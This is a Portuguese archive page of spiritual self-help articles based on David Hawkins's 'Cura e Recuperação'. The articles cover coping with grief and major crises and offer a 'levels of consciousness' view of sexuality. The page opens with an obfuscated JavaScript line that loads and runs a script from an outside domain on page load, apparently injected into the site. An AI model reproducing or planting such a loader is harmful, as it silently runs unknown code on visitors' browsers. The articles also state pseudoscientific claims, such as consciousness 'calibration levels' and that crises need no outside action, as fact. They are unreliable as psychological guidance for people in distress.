;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Fernanda Sekijima, autor em David Hawkins Brasil - Página 2 de 2
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Como lidar com grandes crises? (Parte 2)

No artigo da semana passada, começamos a explicar sobre como lidar com grandes crises que surgem após eventos como luto, divórcio, desfiguramento, acidentes, catástrofes e outros. Explicamos que não é preciso fazer nada sobre os eventos mundanos, só precisamos lidar com a energia das emoções em si. Em seguida, introduzimos duas práticas espirituais para lidar com essas emoções, as quais vamos dar continuidade nesse artigo.

Lidar com Grandes Crises

“Será benéfico se a pessoa conseguir aceitar o fato de que não é necessário fazer nada sobre os eventos externos, ou mesmo compreendê-los. A pessoa não consegue fazer qualquer progresso olhando os pensamentos, pois são infinitos.” – Dr. David Hawkins, “Cura e Recuperação”.

Práticas Espirituais para lidar com a energia das emoções em si

3ª. Prática: Aceite que não tem nada a ser feito no mundo externo

Aceite que não tem nada a ser feito no mundo externo, só precisamos lidar com a energia das emoções em si. O motivo pelo qual não seguimos em frente é porque não aceitamos o ocorrido. Não aceitamos que aquela pessoa faleceu porque já cumpriu sua missão na Terra. Ou, por exemplo, não aceitamos que nos separamos de alguém que pensamos que iriamos passar o resto da vida juntos. 

O apego em que nada tivesse mudado, deixa a pessoa presa num mundo onde prefere reviver e remoer o passado do que estar no momento presente e se preparar para o futuro. Como resultado, o sofrimento permanece presente.

4ª. Prática: Observe a crise como uma oportunidade Divina

Observe que uma grande crise é uma oportunidade Divina de soltar uma imensa nuvem de negatividade que vem sendo acumulada ao longo de toda a vida. Uma catástrofe não é um castigo de deus, Deus não castiga. Logo, é uma oportunidade de deixar ir o sofrimento reprimido.

“Podemos eventualmente ver que essa é uma grande oportunidade. A causa de toda dor e sofrimento é a acumulação desse campo de energia comprimido e os eventos da vida que nos dão as desculpas, abrem o caminho para que nos permitamos sentir isso.” – Dr. David Hawkins, “Cura e Recuperação”.

A mente reprime e depois não quer soltar, não quer lidar com o que reprimiu. Diante de uma grande crise, a mente decide que tem motivo para soltar tudo isso e solta de uma vez. Não é só sobre o que aconteceu e não aceitamos, nos distanciando de Deus. É sobre tudo o que nos distanciou de Deus e reprimimos e suprimimos ao longo da vida. 

Serão raras as oportunidades de poder soltar tudo isso, portanto, podemos nos considerar com uma oportunidade de ouro em mãos e ter a humildade de aceitar a Vontade Divina e entregar esse tanque de pressão negativa a Ele.

“É como um tanque de gás pressurizado que está buscando se libertar. Essa energia esteve se acumulando por uma vida toda e agora tem um caminho de saída. O evento que aconteceu na vida abriu as eclusas, as comportas, os portais e agora esse tanque de energia emocional reprimida e suprimida está usando essa oportunidade para escapar. Assim que a porta do celeiro se abre, todos os animais escapam.” – Dr. David Hawkins, “Cura e Recuperação”.

5ª. Prática: Não resista. Deixe os animais saírem do celeiro. 

“Como alguém pode sair do caminho dos animais fugindo? Não tem como; entretanto, a experiência pode ser rapidamente encurtada se a pessoa aceitar o fato de que não pode escapar dela. Tentar escapar só prolongará a experiência. A mente tentará criar maneiras pra escapar da energia emocional como se isso fosse reduzir a dor; na verdade, a dor vem por resistir a experiência. Para a pessoa lidar com isso, só é necessário desapegar de toda resistência e escolher estar com a experiência. Esse caminho rápido abre a experiência para que quanto mais rápido a energia for libertada, mais rápido a experiência termina. Todo o assunto pode ser liberto em vez de permitir que se arraste indefinida e agonizantemente por horas, dias, semanas, meses, anos ou até uma vida toda.” – Dr. David Hawkins, “Cura e Recuperação”.

6ª. Prática: Diga para as emoções densas “Quero mais disso!”

Ao invés de tentar fugir e querer que essa experiência acabe o quanto antes, vamos pedir por mais disso, porque entendemos que só precisamos lidar com a energia das emoções em si. É porque sabemos que quando essas energias forem descomprimidas, tudo isso acaba. 

Isso acontece porque o montante de energia negativa e de dor já existe, mas podemos escolher entre experienciar esse montante em algumas horas ou por toda vida. Aqui, escolhemos acabar com isso logo de uma vez, escolhemos lidar com grandes crises.

“A técnica é de se permitir experienciar a energia. Na verdade, para passar o mais rápido possível, apenas peça mais! Diga para você mesmo “Quero mais disso”.” – Dr. David Hawkins, “Cura e Recuperação”.

7ª. Prática: Não rotule as emoções, saia da emocionalidade

Não rotule as emoções, sempre volte para o estado de observação do campo difuso para lidar com elas, que é a segunda técnica desse artigo. 

Se necessário, chame essas emoções de perturbações, mas se distancie de dar nome a elas para que parem de tomar forma, conforme os nomes que damos. Por exemplo, se falarmos em raiva, essa raiva só aumenta e sai do controle.

“A raiva não é sentida mais como raiva; a culpa não é mais sentida exatamente como culpa. A emoção é sentida como fluxo crescente e intenso de energia negativa que é genérico e sem nome. Quando paramos de nomear, rotular ou chamar a energia de qualquer coisa, não precisamos mais lidar com ela.” – Dr. David Hawkins, “Cura e Recuperação”.

Não é só sobre não rotular a emoção, é também sobre parar de focar em interpretações e construções mentais e abrir mão de achar o certo ou o errado. Quando saímos de toda essa emocionalidade, não sobra nada a resolver. Portanto, o assunto se torna natural e leve.

“Assim que a energia da emoção sobre a perda se dissipa, ela se torna um tipo de “E daí?”. O problema é a emocionalidade aguda e catastrófica, então a pessoa só tem que estar com ela.”  Dr. David Hawkins, “Cura e Recuperação”.

8ª. Prática: Transforme os limões em limonada

Desapegue de buscar dar significados aos eventos e encontrar justificativas para lidar com grandes crises. Afinal, todas as mentalizações e interpretações sobre qualquer assunto somos nós mesmos que estamos fazendo, com as lentes que escolhemos. Essa estória que você está contando para si mesmo nem é a realidade. Logo, você tem poder de escolha.

Apenas ria da grande comédia que é a vida. Transforme a batida de carro que era trágica na hora do almoço em algo cômico na hora do jantar. Ou como diz o ditado, transforme os limões em limonada.

“Quando a pessoa olha para qualquer experiência da vida, verá que vive nos sentimentos sobre as experiências. O evento de vida em si é um “nada”. De manhã, pode parecer catastrófico, mas ao meio-dia, já pode ser divertido. O evento não mudou em nada.” – Dr. David Hawkins, “Cura e Recuperação”.

9ª. Prática: Observe que as energias densas aparecem em ondas

Não se preocupe se você eventualmente ficar em paz e depois de um tempo essa sensação voltar. O caminho alterna períodos de paz e serenidade com momentos de deixar ir esse grande tanque de pressão que antes da crise nós escondíamos de nós mesmos.

Os momentos de paz além de trazer alívio nos mostram que estamos no caminho certo, enriquecem nossas intenções. Enquanto, quando os momentos de desespero ressurgem, as pessoas que estão conscientes disso os aproveitam como uma oportunidade maior ainda porque sabem que toda essa emocionalidade só estará disponível para ser rendida por um período determinado de tempo, o qual se torna precioso para esse propósito de rendição.

“A paz continua por um período variável de tempo e uma onda de emocionalidade surge novamente. Essa tende a retornar em ondas, com períodos de alívio entre elas. Quando a onda retorna, a recebem novamente e buscam liberar o máximo de pressão que conseguem antes da válvula se fechar novamente.” – Dr. David Hawkins, “Cura e Recuperação”

Só precisamos lidar com a energia das emoções em si

Não termine esse artigo com dúvida se essa frase realmente é verdade ou não. Vamos te dar um exemplo concreto sobre isso. Uma senhora americana estava com seu filho na guerra e recebeu uma carta do governo dizendo que ele havia falecido. Ela não comia, não falava, apenas se balançava na sua cadeira de balanço para frente e para trás com total apatia, olhando vagamente pela janela. 

A família já não sabia mais o que fazer e estavam todos realmente preocupados com a senhora. Dez dias depois, eles receberam uma nova carta do governo. O filho dela não estava morto, quem havia morrido era um homônimo dele cuja o número de identidade se diferenciava em apenas um dígito. 

Felizes, todos da família foram gritando de felicidade em direção a mãe, com a certeza de que ela voltaria a ficar radiante. “Mãe! Mãe! Ele não morreu”. Mas ela continuou se balançando como se nada tivesse escutado. O processo de emoções densas com as quais ela tinha que lidar já tinha começado, e não tem nada no mundo lá fora que pode pará-lo. Em outras palavras, ela estava lidando com seu tanque de pressão.

A grande crise é uma oportunidade

Aprender a lidar com grandes crises da vida, nos liberta de muitas negatividades, medos e apegos. Se não resistirmos as crises e nos entregarmos a ela, sairemos pessoas melhores do que entramos, e consequentemente, mais felizes. 

Não perca nada!

Na primeira parte desse artigo, damos uma boa introdução para tudo o que você leu aqui. Mas o artigo não acaba por aqui, temos uma terceira parte com o ponto mais importante de todos que ainda não foi abordado até aqui.

Não perca!

Gloria In Excelsis Deo!

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e isso facilitará a aplicação dos ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação”, no Brasil.

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Como lidar com grandes crises? (Parte 1)

Todos nós vamos passar por grandes crises nessa vida e a sensação que as acompanha é sempre a de que não estávamos preparados para lidar com grandes crises. Pode se manter calmo, não é preciso fazer nada sobre os eventos mundanos, vamos revelar que só precisamos lidar com a energia das emoções em si, diante de qualquer crise que seja e por maior que ela pareça.

Nesse artigo, baseado no “Capitulo 8 – Lidando com Grandes Crises” do livro “Cura e Recuperação” vamos falar um pouco de como lidar com essas grandes crises da vida. As crises que surgem após eventos como: luto, divórcio, desfiguramento, acidentes, catástrofes e tudo aquilo que nos causa uma verdadeira tempestade de emoções densas. Mas recomendamos que depois você se aprofunde na leitura do livro, ainda mais se estiver passando por um momento como esse, de tempestade emocional.

“No momento de experiências catastróficas agudas, a vida abruptamente se transforma em um pesadelo e a pessoa, de repente, é saturada por uma tempestade emocional. Entretanto, técnicas estão disponíveis para lidar com esses eventos agudos, para reduzir suas durações, aliviar a dor e o sofrimento e para diminuir o estresse ao mínimo.” – Dr. David Hawkins, “Cura e Recuperação”.

O impacto das emoções negativas

As emoções negativas são todas conectadas e uma tende a puxar a outra tornando o transtorno causado por essas emoções muito denso e assustador. Diante disso, a maioria das pessoas tenta se voltar para o racional para resolver o problema. Mas não adianta porque os pensamentos vêm justamente do campo de energia no qual estamos imersos. Logo, diante de uma tempestade emocional só surgem pensamentos negativos que nos deixam presos nesse padrão de sofrimento.

É compreensível toda essa explosão de sentimentos, já que os eventos que citamos aqui como morte de um familiar ou uma separação estão no topo da lista da Escala Holmes e Rahe, que mede o stress dos eventos mais dificultosos da vida numa escala de 0 a 100. No entanto, não podemos esquecer que há saída. Lembre-se que: só precisamos lidar com a energia das emoções em si.

Lidar com Grandes Crises

O primeiro ponto a observar ao lidar com grandes crises é que o que estamos experienciando não é a realidade, e sim como estamos interpretando a realidade. Para lidar com essa experiência não vamos focar na mente e suas infinitas mentalizações, vamos abordar o foco exato onde a experiência está se passando, que é o campo da consciência. 

“Se ficarmos onde estamos experienciando a experiência, podemos lidar com as coisas com precisão. Em momentos e minutos, podemos lidar com algo que duraria semanas, meses, anos e, na verdade, até vidas inteiras. Podemos lidar em uma hora com algo que outras pessoas não puderam lidar ao longo de uma vida inteira. Sabemos de pessoas que passaram por esses eventos catastróficos no começo da vida e quando as vemos em idade avançada, ainda não superaram o assunto. Ressentimento, amargor, raiva, desilusão, ira e todas as grandes decisões que surgem desses sentimentos negativos ainda estão com a pessoa mesmo cinquenta anos depois. É como se o evento tivesse acontecido ontem; ainda está ferido e aberto e o conhecimento de como lidar com a saturação não esteve disponível para elas.” – Dr. David Hawkins, “Cura e Recuperação”.

Temos a escolha de não lidar com essas emoções das grandes crises, mas o resultado costuma ser uma pessoa em idade avançada que ainda não superou a crise, mesmo que tenha ocorrido há 70 anos atrás. Está remoendo toda a situação como se tivesse acontecido ontem, por não ter o conhecimento de como lidar com isso. 

Só precisamos lidar com a energia das emoções em si

Para lidar com uma grande crise, só precisamos lidar com a energia das emoções em si. Não tem nada que precisa ser feito nesse mundo. A dor é tamanha que o corpo chega a doer fisicamente também. No entanto, a solução não é uma massagem, é um deixar ir profundo de tudo o que foi reprimido ao longo de uma vida e devido a grande crise em questão a mente resolveu liberar de uma vez só. 

Diante de eventos marcantes é difícil entender que não estão sendo experienciados na fisicalidade, mas sim na consciência. Para entender isso melhor, vamos te contar que o pensamento não está na cabeça, está difuso em todo lugar. Essa é uma verdade que pode ser observada por qualquer pessoa, basta querer observar. 

No artigo sobre sexualidade, nos aprofundamos sobre como acontecem as percepções dos eventos no corpo humano. O braço não sabe o que é ser um braço, um pensamento não sabe o que é ser um pensamento. O corpo só pode ser experienciado em algo maior que si mesmo que é a mente. Já a mente só pode ser experienciada na consciência.

Do mesmo modo, os problemas não podem ser resolvidos no nível que se encontram, apenas em um nível superior. Não vamos resolver o problema no mundo, o luto é o luto, não há escolha. Então, o caminho para lidar com os eventos catastróficos da vida é lidar com as emoções que estão no campo de consciência. As grandes crises só se dissolvem na consciência. 

“A pessoa diz “Bem, estou experienciando a morte daquela pessoa lá fora”. Não se está experienciando “lá fora”, está experienciando “aqui dentro”. Onde é isso? Esse é o mesmo lugar onde sempre experiencia a experiência – dentro do eu que sente.” – Dr. David Hawkins, “Cura e Recuperação”.

A vida se encarrega das soluções

Quando essa tempestade de emoções negativas se vai, os pensamentos negativos também desaparecem e as soluções para o problema começam a surgir espontaneamente. Mas esse nem é o melhor resultado, é o alívio de descarregar tanta negatividade e poder viver com mais leveza.

É surpreendente que a única coisa que deve ser lidada nesses eventos catastróficos agudos é a energia das emoções em si. Se olharmos para a experiência, veremos que não é o evento que aconteceu ou que pensamos que aconteceu no mundo que é o problema, mas a maneira como nos sentimos com relação ao evento.” – Dr. David Hawkins, “Cura e Recuperação”.

Claro que vão surgir perguntas como: “E agora? Como vou viver sozinho? O que vou fazer sem dinheiro? Como vou viver em uma cadeira de rodas?” e por aí vai. São infinitas perguntas vindas do campo de energia negativo que reflete pensamentos negativos. Logo, quando a energia dessas emoções é dissipada, esses pensamentos somem e os eventos se tornam fáceis de lidar. 

“A vida apresenta solução para todos os problemas. A necessidade é a mãe da invenção, então qualquer dilema que se apresente na vida de alguém irá se resolver sozinho e a energia da vida continuará. A vida simplesmente continua, não importa quão grande a catástrofe pareça ser no momento. Assim sendo, o problema não é resolver o evento “lá fora” ou as circunstâncias da vida, pois eles vão cuidar de si mesmos. Normalmente, parentes e amigos próximos lidarão com a situação para a pessoa que está imobilizada com a saturação. O problema é lidar com as energias que surgem.” – Dr. David Hawkins, “Cura e Recuperação”.

Práticas Espirituais para lidar com a energia das emoções em si

1ª. Prática: Ignore os pensamentos

Durante uma grande crise, as mentalizações de que gostaríamos que fosse diferente, de tentar mudar o que é, de nos sentirmos tristes, são infinitas. Esses pensamentos vêm do campo de energia do desespero com o qual estamos nos conectando. Por isso, não adianta tentar mudar os pensamentos, já que isso vem da energia e das emoções que sentimos.

“Lidando com os pensamentos e eventos com toda a racionalização, lógica, soluções e lidar com todas as sondagens de significados psicológicos é um entretenimento, mas completamente inefetivo. Isso é um desperdício de tempo e de energia e realmente atrasa a recuperação.” – Dr. David Hawkins, “Cura e Recuperação”.

Como uma emoção negativa puxa outra nos sentimos culpados, raivosos, apáticos, tristes, quase como uma máquina de pensamentos e sentimentos desesperadores que se repetem em ciclos. As mentalizações são infinitas. Precisamos praticar uma técnica precisa para sair disso e ela consiste simplesmente em ignorar os pensamentos.

“Uma técnica muito efetiva de se usar é ignorar os pensamentos porque a mente nunca irá compreendê-los, pois não possui a capacidade para isso. A mente está em estado de saturação maciça. Os assuntos são extraordinariamente complexos e levaria uma vida inteira para desvendá-los se a pessoa quisesse verdadeiramente saber o completo significado da contribuição de cada nível do seu eu psicológico para com o significado total das experiências.” – Dr. David Hawkins, “Cura e Recuperação”.

2ª. Prática: Observe o campo difuso por trás das emoções

Vamos observar um campo difuso de emoções, assim como sugerimos observar que os pensamentos são difusos e não estão dentro da cabeça. A raiva, a culpa, a vergonha, a apatia, a tristeza, são sentimentos que oscilam vindos de uma energia difusa, sem nome, que está por trás de tudo isso. É essa energia que você precisa observar. Isso realmente só pode ser feito experienciando e observando.

Conclusão

Por fim, se você está diante de uma grande crise, siga ignorando os pensamentos e observando esse campo de energia difuso que está por trás de tudo isso. No próximo artigo, aprofundaremos ainda mais nessas técnicas de como sair desse estado.

Gloria In Excelsis Deo!

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, 0s leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e assim, abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que a Pandora Treinamento absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

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Sexualidade: desde quando isso é coisa de Deus? (Parte 2)

No artigo da semana passada, explicamos a visão da sexualidade nos diferentes níveis de consciência. Essa semana vamos aprofundar na visão sobre Deus que está por trás de enxergar o sexo como algo carnal, o qual apenas desejamos, em comparação a enxergar o sexo como algo que se manifesta com amorosidade.

Vamos também ensinar práticas para que essa mudança em relação ao sexo seja possível para cada um de nós, saindo de um campo de consciência de desejo para um campo de consciência amoroso no âmbito da sexualidade.

Visão de Deus sobre sexualidade

Deus é Infinito Amor, Infinita Bondade, Infinita Misericórdia, é a Verdade, É. Toda vez que vivenciamos algo diferente disso, é um julgamento do nosso ego, um reflexo do nível de consciência ao qual achamos melhor nos conectar em determinado momento. 

O distanciamento de Deus que pode ser causado pela não aceitação dos nossos impulsos sexuais pode chegar até o ateísmo. Já que acreditamos que por sentir esses impulsos não somos dignos de um Deus Amoroso.

“Como podemos nos imaginar, curtindo a nós mesmos em um empreendimento humano que está ocorrendo em todo esse campo de energia enquanto secretamente pensamos que Deus provavelmente nos punirá por causa do assunto porque a visão de Deus que surge nesse campo é punitiva? Estamos certamente separados Dele e se conseguirmos qualquer satisfação ou felicidade, muito provavelmente existirá expectativa ou retaliação no final.

Algumas pessoas não suportam a intensidade do conflito entre um impulso biológico, uma necessidade psicológica, e a religião. Então, simplesmente evitam isso através do ateísmo, que apenas elimina a culpa. Precisam abrir mão de sua visão de Deus e religião da sexualidade. Para algumas pessoas, isso é um conflito impossível de se resolver e muitos terminam como ateus, pois não veem maneira de lidar com sua humanidade e suas visões de Deus.” – Dr. David Hawkins, “Cura e Recuperação”

Voltando a Adão e Eva

É claro que todos somos dignos do Amor de Deus, mas são nossas escolhas que nos afastam dele. Assim como o que aconteceu com “Adão e Eva” ao morderem a maçã e a primeira sensação que sentiram foi vergonha por estarem em corpos nus, seguida pela culpa disso estar acontecendo. Ao voltarmos para a nossa inocência, para a nossa intuição de só nos abrirmos para esse tipo de experiência com quem nos ama e respeita e vice-versa, com quem há um compromisso, tudo muda. Paramos de sentir culpa e vergonha e retornamos para uma experiência celestial do Jardim do Éden, inclusive envolvendo nossa sexualidade. Saímos da carnalidade e voltamos para a nossa verdadeira essência.

“A recontextualização resolve os problemas que os humanos dizem existir com a sexualidade porque na sutileza dessa experiência interior está a reconexão com a alegria da nossa inocência. Toda a questão de se Deus aprova o sexo, desaparece.” – Dr. David Hawkins, “Cura e Recuperação”

Práticas para o sexo amoroso

Vamos ensinar aqui quatro práticas para recontextuaização da nossa vida sexual, de forma que a prática do sexo amoroso saia de ser algo improvável e distante e se torne algo simples e factível, presente em nossas vidas!

1ª Prática

A primeira prática é observar que escolhemos manter o padrão de desejo, porque acreditamos, como sociedade, que é isso que vai fazer o sexo acontecer em nossas vidas. Isso nos prende a um padrão que limita profundamente nossa experiência. 

“A ilusão é acreditar que é o desejo que traz o sexo para nossa vida. Na verdade, é o oposto. O querer e o desejar estão bloqueando o sexo de entrar em nossas vidas, assim como o seu desfrutar quando está presente. Com o desapegar de resistir a esse desejo, todo indesejado que foi reprimido e suprimido vêm à tona. Se for permitido que seja libertado e flua sem que nada seja feito a seu respeito, sem se opor ou resistir à experiência da energia, começa a se descomprimir. Eventualmente, por ter uma quantidade limitada dessa energia, ela finalmente para.” – Dr. David Hawkins, “Cura e Recuperação”

2ª Prática

Essa prática é sobre estar atento a padrões de pensamentos fantasiosos e promíscuos em relação ao sexo. Não podemos controlar para que esses pensamentos não surjam, mas podemos escolher como vamos lidar com eles quando aparecem.

Aqui está a chave: quando surgirem esses pensamentos, não vamos dar assas as emoções e embarcar na fantasia, assim que surgirem já vamos cortar pela raiz e não pensar mais sobre isso. 

3ª Prática

A prática que vamos ensinar aqui não consta no “Capítulo 6: Sexualidade” do livro “Cura e Recuperação”, o qual inspirou esse artigo. Está descrita no “Capítulo 18: Relacionamentos” do livro “Deixa Ir”, sobre o qual também já escrevemos dois artigos. 

Essa é uma prática que tem por objetivo expandir a experiência do orgasmo, que sai de ser experienciado apenas nas partes genitais para toda a pélvis, abdômen, pernas, braços e todo o corpo até que não haja uma limitação para o orgasmo.  

“Essa expansão (do orgasmo) é facilitada por se tornar consciente que as caretas faciais e respirações ofegantes são restrições devido ao medo da perda do controle e tentativas de limitar a experiência. Se o indivíduo respirar devagar e profundamente, sorrindo em vez de fazer caretas, o medo vai se tornar consciente e pode ser rendido.” – Dr. David Hawkins, “Deixar Ir”

4ª Prática

Por fim, a última prática que vamos ensinar é sobre uma técnica de meditação que pode ser feita na hora do ato. É bem simples, basta se concentrar em um ponto do corpo que os japoneses chamam de “hara”, o qual fica dois dedos abaixo do umbigo. 

“Uma maneira de desfocalizar da fisicalidade local do corpo surge da antiga tradição técnica meditativa de focar sua atenção no ponto a dois dedos abaixo do umbigo e mantendo-a lá durante toda a experiência. Apenas tente isso. Esse é um ponto que os japoneses chamam de “hara”. É usado em artes marciais onde se coloca o foco e o centramento. Em vez de prestar atenção aos movimentos do corpo, as manipulações e infinitas ansiedades, concentre-se e fixe sua atenção nesse ponto, dois dedos abaixo do umbigo. Mantenha sua atenção nele, não importa o que esteja acontecendo e você notará que está de certa maneira distanciado.

Nesse estado, a pessoa se torna o participante/ observador autônomo. Toda a experiência toma dimensão diferente. Estará acontecendo espontaneamente em você, mas em vez de estar focado no local, você experiência de um campo de energia mais geral. Tente isso como uma maneira de se mover da experiência local para o coração. Apenas mova-se para esse ponto chamado “hara” e note a mudança na qualidade da experiência.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a segunda parte em uma sequência de artigos sobre o tema sexualidade. Na primeira parte reportamos sobre como é o sexo em diferentes níveis de consciência, o que traz ainda mais clareza sobre o assunto.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Níveis de Consciência

Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

